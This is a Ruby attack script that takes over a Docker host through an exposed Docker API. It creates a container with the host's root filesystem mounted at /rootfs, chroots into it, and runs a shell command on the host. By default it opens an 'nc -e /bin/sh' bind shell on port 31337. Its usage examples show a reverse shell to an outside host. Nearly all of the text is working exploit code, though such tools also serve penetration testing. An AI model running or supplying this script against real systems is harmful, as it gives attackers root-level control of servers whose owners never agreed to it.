Get Docker Host Shell abusing Docker API

docker_get_host_shell.rb

#!/usr/bin/env ruby
# Get Docker Host Shell abusing Docker API
# Copyright (C) 2015 Kost. Distributed under GPL.
#
# Prerequisite:
# gem install docker-api
# 
# Example:
# ./docker_get_host_shell.rb -v -s 'nc -e /bin/sh example.com 4554' tcp://example.com:5422
# 
# Gemfile:
# gem 'docker-api', :require => 'docker'

require 'docker'

require 'logger'
require 'optparse'

#require 'pp'
#require 'pry'

$PRGNAME='docker_get_host_shell.rb'

# helpful class for logger
class MultiDelegator
  def initialize(*targets)
    @targets = targets
  end

  def self.delegate(*methods)
    methods.each do |m|
      define_method(m) do |*args|
	@targets.map { |t| t.send(m, *args) }
      end
    end
    self
  end

  class <<self
    alias to new
  end
end

# default $options
$options = {}
$options['ports'] = []
$options['image'] = 'gliderlabs/alpine'
$options['loglevel'] = 'WARN'
$options['logname'] = nil
$options['read_timeout']=999999
$options['shell']='nc -e /bin/sh -lvp 31337'

begin
	optyaml = YAML::load_file(ENV['HOME']+'/.docker_get_host_shell')
rescue # Errno::ENOENT
end

if optyaml != nil then
	$options.merge!(optyaml)
end

# initialize logger
if $options['logname'] != nil then
	log_file = File.open($options['logname'], 'a')
	@log = Logger.new MultiDelegator.delegate(:write, :close).to(STDOUT, log_file)
else
	@log = Logger.new MultiDelegator.delegate(:write, :close).to(STDOUT)
end
loglevel =  Logger.const_get $options['loglevel'] # Logger::INFO # default is ::WARN
@log.level = loglevel

# pp $options

OptionParser.new do |opts|
	opts.banner = "Usage: #{$PRGNAME} [options]"

	opts.on("-v", "--[no-]verbose", "Run verbosely") do |v|
		$options['verbose'] = v
		@log.level = Logger::INFO
	end

	opts.on("-d", "--[no-]debug", "Run in debug mode") do |v|
		$options['debug'] = v
		@log.level = Logger::DEBUG
	end

	opts.on("-h", "--help", "Prints this help") do
		puts opts
		exit
	end

	opts.on("-i", "--image NAME", "use image NAME") do |optarg|
		$options['image'] = optarg
	end

	opts.on("-l", "--log FILE", "log to FILE") do |optarg|
		$options['logname'] = optarg
	end

	opts.on("-s", "--shell COMMAND", "Execute COMMAND ('nc -e /bin/sh example.com 4554')") do |optarg|
		$options['shell'] = optarg
	end

	opts.on("-p", "--ports PORT:HOST", "Expose PORT on container to HOST port") do |port|
		$options['ports'] << port
	end

	opts.on("-e", "--email EMAIL", "use this e-mail") do |optarg|
		$options['email'] = optarg
	end

	opts.on("-U", "--user NAME", "use this username") do |optarg|
		$options['user'] = optarg
	end

	opts.on("-P", "--password NAME", "use this password") do |optarg|
		$options['password'] = optarg
	end

	opts.separator ""
	opts.separator "Example #1: #{$PRGNAME} -v -s 'nc -e /bin/sh example.com 4554' tcp://example.com:5422"
	opts.separator "Example #2: #{$PRGNAME} -v unix:///var/run/docker.sock"

end.parse!

# pp $options


def exploit
	@log.debug("Configuring ports")
	hostconfig={}
	portexp={}
	if not $options['ports'].empty? then
		portbp={}
		$options['ports'].each do |portspec|
			@log.debug("Configuring port: "+portspec)
			portsp=portspec.split(':')
			if portsp.size == 1 then
				portsp[1]=portsp[0]
			end
			portbp[portsp[0]]=[{'HostPort' => portsp[1]}]
			portexp[portsp[0]]={}
			
		end
		hostconfig['PortBindings'] = portbp
	end

	hostconfig['Binds'] = ['/:/rootfs']	
	# pp hostconfig

	@log.info("Creating container using image: " + $options['image'])
	container = Docker::Container.create('Cmd' => ['/bin/sh'], 'Image' => $options['image'], 'Tty' => true, 'Volumes' => { '/rootfs' => {} }, 'ExposedPorts' => portexp, 'HostConfig' => hostconfig ) 
	@log.info("Starting container: " + container.info["id"])
	container.start
	@log.info("Setting timeout value to: " + $options['read_timeout'].to_s)
	Docker.options[:read_timeout]=$options['read_timeout']
	ipaddress=container.json["NetworkSettings"]["IPAddress"]
	@log.warn("Container IP address: "+ipaddress)
	@log.warn("Executing shell: "+$options['shell'])
	container.exec(['chroot','/rootfs','/bin/sh','-c',$options['shell']])
	@log.info("Stopping container: " + container.info["id"])
	container.stop
	@log.info("Deleting container: " + container.info["id"])
	container.delete(:force => true)
end

def prepare
	@log.debug("Using docker URL: " +Docker.url)

	@log.debug("Validating docker version")
	Docker.validate_version!

	if $options.has_key?('user') and $options.has_key?('password') and $options.has_key?('email') then
		@log.info("Authenticating as " + $options['user'] + "with e-mail " + $options['email'])
		Docker.authenticate!('username' => $options['user'], 'password' => $options['password'], 'email' => $options['email'])
	end

	@log.info("Docker version: " + Docker.version["Version"] +" with kernel "+Docker.version["KernelVersion"])

	# images=Docker::Image.all
end

def doit
	prepare
	exploit
end

if ARGV.empty? then
	doit
else
	ARGV.each do |url|
		Docker.url=url
		doit	
	end
end